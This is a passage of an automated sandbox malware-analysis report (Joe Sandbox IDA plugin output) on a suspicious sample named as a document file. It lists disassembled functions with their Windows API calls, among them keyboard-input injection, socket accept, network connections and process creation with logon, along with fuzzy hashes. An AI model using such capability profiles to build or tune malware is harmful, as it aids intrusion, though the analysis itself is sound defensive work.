Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: d4794ee91ab2d48e1de2c1131895e9ac6f7d5887ace1fa28172c8ca061246b25
Instruction ID: 547c4420d46427653cc35168592ee1230c19e6d860d6fabb66e6b9e762d1ee42
Opcode Fuzzy Hash: d4794ee91ab2d48e1de2c1131895e9ac6f7d5887ace1fa28172c8ca061246b25
Instruction Fuzzy Hash: FF41B871A00609EBDF25EF58C856FEE7BB9AF48700F000029FA45A71C1DBB89E85CB51

Function 0075EE88 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0075EF32
GetLastError.KERNEL32(?,00000000), ref: 0075EF58
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0075EF7D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0075EFA9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 79ae80a2a4e49501ac698d39b4e8c9f48cdce4acedc6e9707fc9546b08f26f15
Instruction ID: 807c775240aaa069847dc1acbcf4e03f6a484885aa4cf6e8fe3abaa837fa2534
Opcode Fuzzy Hash: 79ae80a2a4e49501ac698d39b4e8c9f48cdce4acedc6e9707fc9546b08f26f15
Instruction Fuzzy Hash: 28416D35600611DFCB10EF19C549A89BBE5EF89720B15C089EC46AF3A2CB78FD41CB91

Function 0077B354 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0077B3E1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: e7d4d4116edc2e493877cfde351322d041e8553ca76c262770879f2039bb756c
Instruction ID: 21d6f53359df87c3effc7186a02f8a2bef5a01c859ce14ff4d99ab7b265ab389
Opcode Fuzzy Hash: e7d4d4116edc2e493877cfde351322d041e8553ca76c262770879f2039bb756c
Instruction Fuzzy Hash: CD31A234600284FBEF349E58DC89BA83765EB0A3D0F54C512FA59D71A2C73CD9819B51

Function 0077D5EE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0077D617
GetWindowRect.USER32(?,?), ref: 0077D68D
PtInRect.USER32(?,?,0077EB2C), ref: 0077D69D
MessageBeep.USER32(00000000), ref: 0077D70E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 6975349f8a6b1c2d599e030e9065e972298454f169dab5e4b3f69289a07f1279
Instruction ID: 71653c8db4298ab9ec167cdcbd610ed2d36e5e4ea0138b7a9f828a13485189c2
Opcode Fuzzy Hash: 6975349f8a6b1c2d599e030e9065e972298454f169dab5e4b3f69289a07f1279
Instruction Fuzzy Hash: 61414730A00118EFCF25CF98D884AA97BF5BF49390F18C1AAE449DB251E739EC51DB90

Function 00754497 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 007544EE
SetKeyboardState.USER32(00000080,?,00008000), ref: 0075450A
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 0075456A
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 007545C8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0d180443b62329127b9fb8f836b390589bb3ce7b5f0d417423eda3b65a2b0b94
Instruction ID: 12eb23cbc60c63f761cb4d8068b9c3a62bc43cc14d477ad4062cf3d7398f470f
Opcode Fuzzy Hash: 0d180443b62329127b9fb8f836b390589bb3ce7b5f0d417423eda3b65a2b0b94
Instruction Fuzzy Hash: 813109719002589FEF348B6488087FE7BB59B4931AF04016AF881531D1E7FC9EADD761

Function 00744DB4 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00744DE8
__isleadbyte_l.LIBCMT ref: 00744E16
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00744E44
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00744E7A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 625478ed78a08903bbc6f8824a65ed8400eb6f27c75a47a57f2a21eef11181c1
Instruction ID: 7da9b0a886f9f527e76381cd254ed4305a983a8abe082dc69431a67751e50775
Opcode Fuzzy Hash: 625478ed78a08903bbc6f8824a65ed8400eb6f27c75a47a57f2a21eef11181c1
Instruction Fuzzy Hash: 6531CF31A00266EFDF219F74CC49BAA7BA6FF41310F158529E821871A1E738EC51EB90

Function 00777AA2 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00777AB6

Part of subcall function 007569C9: GetWindowThreadProcessId.USER32(?,00000000), ref: 007569E3
Part of subcall function 007569C9: GetCurrentThreadId.KERNEL32 ref: 007569EA
Part of subcall function 007569C9: AttachThreadInput.USER32(00000000,?,00758127), ref: 007569F1

GetCaretPos.USER32(?), ref: 00777AC7
ClientToScreen.USER32(00000000,?), ref: 00777B00
GetForegroundWindow.USER32 ref: 00777B06

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 0587964b9b6474fc78de46e8fb5aa8bac144aabe7247acce835cb163ae80a516
Instruction ID: ca0c7937c11b1d3340da90fc9251bea0a8888eddde38be8f854a790b830affed
Opcode Fuzzy Hash: 0587964b9b6474fc78de46e8fb5aa8bac144aabe7247acce835cb163ae80a516
Instruction Fuzzy Hash: 1031FE71D00118AFDB10EFB5D8859EFBBF9EF58314B10846AE815E7211D679AE058BA0

Function 0076497B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 007649B7

Part of subcall function 00764A41: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00764A60
Part of subcall function 00764A41: InternetCloseHandle.WININET(00000000), ref: 00764AFD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 53c5622e8e9bf4cca789c1051c3a52a1c603bd248ac4d9b912662dd93b891d50
Instruction ID: ca8b0d841d829900534ee5e3102e48a58d209a873f5d0bd9f61c78fc58eea52c
Opcode Fuzzy Hash: 53c5622e8e9bf4cca789c1051c3a52a1c603bd248ac4d9b912662dd93b891d50
Instruction Fuzzy Hash: EA21A431240B05BFDB129FA0CC04FBBBBA9FB48711F14801AFE0796550EB799811A794

Function 0074BC90 Relevance: 6.1, APIs: 4, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 0074BCD9
OpenProcessToken.ADVAPI32(00000000), ref: 0074BCE0
CloseHandle.KERNEL32(00000004), ref: 0074BCFA
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0074BD29

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$CloseCreateCurrentHandleLogonOpenTokenWith
String ID:
API String ID: 2621361867-0
Opcode ID: 2d09e987f443cb591e43bbc450f3ccb61f5038913a275e30cb662de800aca25f
Instruction ID: 3e1a5e5554f7c4de6ce38f98f2181ce32bae2b93ded46735b70a33c567602620
Opcode Fuzzy Hash: 2d09e987f443cb591e43bbc450f3ccb61f5038913a275e30cb662de800aca25f
Instruction Fuzzy Hash: C2214D7250120DEBDF119FA8ED89BEE7BA9EF08314F048065FA01A6160C77ADD61DB60

Function 00778834 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 007788A3
SetWindowLongW.USER32(?,000000EC,00000000), ref: 007788BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 007788CB
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 007788D9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: ee4958145a48bb05ba31788c341cc5f41ea139cd8233dd928856e6ed45fb9c15
Instruction ID: 08dd569b923ad11868c930e9d4d2d97b8b5335fdf28fcf19e334d529274bf67b
Opcode Fuzzy Hash: ee4958145a48bb05ba31788c341cc5f41ea139cd8233dd928856e6ed45fb9c15
Instruction Fuzzy Hash: A011AF31395110AFDF14AB28DC09FBA77A9EF89360F048119F91AC72E1CB78AD41C796

Function 0076900C Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0076906D
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 0076907F
accept.WS2_32(00000000,00000000,00000000), ref: 0076908C
WSAGetLastError.WS2_32(00000000), ref: 007690A3

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: aa4f025fc9d68d1e865356a9bd84c4d3218a1baf61fa414b0704964d32aa28f0
Instruction ID: e47940808c3dc8fe6cd9e401fed7939edc31b5d998b3b957a258760613063b66
Opcode Fuzzy Hash: aa4f025fc9d68d1e865356a9bd84c4d3218a1baf61fa414b0704964d32aa28f0
Instruction Fuzzy Hash: 3A215771500124AFC720DF69D845A9A7BFCEF49710F00816AF949D7291D678DE41CFA0

Function 007518E8 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00752CAA: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,007518FD,?,?,?,007526BC,00000000,000000EF,00000119,?,?), ref: 00752CB9
Part of subcall function 00752CAA: lstrcpyW.KERNEL32(00000000,?,?,007518FD,?,?,?,007526BC,00000000,000000EF,00000119,?,?,00000000), ref: 00752CDF
Part of subcall function 00752CAA: lstrcmpiW.KERNEL32(00000000,?,007518FD,?,?,?,007526BC,00000000,000000EF,00000119,?,?), ref: 00752D10

lstrlenW.KERNEL32(?,00000002,?,?,?,?,007526BC,00000000,000000EF,00000119,?,?,00000000), ref: 00751916
lstrcpyW.KERNEL32(00000000,?,?,007526BC,00000000,000000EF,00000119,?,?,00000000), ref: 0075193C
lstrcmpiW.KERNEL32(00000002,cdecl,?,007526BC,00000000,000000EF,00000119,?,?,00000000), ref: 00751970

Strings

cdecl, xrefs: 00751967

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: da12ec30330ed4864f0711c16594a0354551cdd4ef84337705c8a439aca62048
Instruction ID: e3bffe67f320404a05572c8f225bb1f968e720b06608c0284424feb52406ee85
Opcode Fuzzy Hash: da12ec30330ed4864f0711c16594a0354551cdd4ef84337705c8a439aca62048
Instruction Fuzzy Hash: FA110636100345EFDB219F34C859EBA77B8FF45351B80802AF806CB251EB75A84587A0

Function 00743D46 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00743D65

Part of subcall function 007345EC: __FF_MSGBANNER.LIBCMT ref: 00734603
Part of subcall function 007345EC: __NMSG_WRITE.LIBCMT ref: 0073460A
Part of subcall function 007345EC: RtlAllocateHeap.NTDLL(01760000,00000000,00000001), ref: 0073462F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 28f784663aa93e8fa55060732c15e67db809940b79688bd0da387012da8a7537
Instruction ID: 6e723a3f5f224d383fdf9b32f67bcff27b6854897eae3ecba18c8ce3946991dc
Opcode Fuzzy Hash: 28f784663aa93e8fa55060732c15e67db809940b79688bd0da387012da8a7537
Instruction Fuzzy Hash: 61117332E05711EBEB353F74AC497AA3B98AF00361F108526F94D9A193DF3C9E418A95

Function 0075713C Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 0075715C
_memset.LIBCMT ref: 0075717D
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 007571CF
CloseHandle.KERNEL32(00000000), ref: 007571D8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: fa0a4979291ab12de4cca4587f13061b4a92f4e6d25f573731eda3b2fffe3d83
Instruction ID: e1be11d7dde23af581ef969e6b728cb21516fbdff501252465dcca4a00a47bef
Opcode Fuzzy Hash: fa0a4979291ab12de4cca4587f13061b4a92f4e6d25f573731eda3b2fffe3d83
Instruction Fuzzy Hash: 2F11CA7290122C7AE7305B65AC4DFEBBA7CEF45760F10419AF904E71D0D2744E84CBA8

Function 007513D1 Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 007513EE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00751409
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0075141F
FreeLibrary.KERNEL32(?), ref: 00751474

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 2f90579c7fcddc1e68b0a2b79ad636fa199ec190e5771edc54c0004b26912205
Instruction ID: 4e68de9f04b66a55aa5e7d10b2a9401a5fab416b9e539afbc434c57002673d45
Opcode Fuzzy Hash: 2f90579c7fcddc1e68b0a2b79ad636fa199ec190e5771edc54c0004b26912205
Instruction Fuzzy Hash: D721A271500249EBEB209F90DC88BDABBB8EF00747F40886AA91297410D7B8E949DF51

Function 007692C0 Relevance: 6.1, APIs: 4, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0072F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0075AEA5,?,?,00000000,00000008), ref: 0072F282
Part of subcall function 0072F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0075AEA5,?,?,00000000,00000008), ref: 0072F2A6

gethostbyname.WS2_32(?), ref: 007692F0
WSAGetLastError.WS2_32(00000000), ref: 007692FB
_memmove.LIBCMT ref: 00769328
inet_ntoa.WS2_32(?), ref: 00769333

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 932b4b2a4bfbe39bcbb78f1a3166a07dd45ee2c97f706fb962f66a9168e251bc
Instruction ID: c367410420b830a97c3704ce481483ae1c48f3bbfaf81ff2aeb9376f468bb5fc
Opcode Fuzzy Hash: 932b4b2a4bfbe39bcbb78f1a3166a07dd45ee2c97f706fb962f66a9168e251bc
Instruction Fuzzy Hash: 66114C76500109EFCB14EFA4CD5ACEE77B9AF483117108025F506A72A2DB38EE04CBA1

Function 0074C265 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

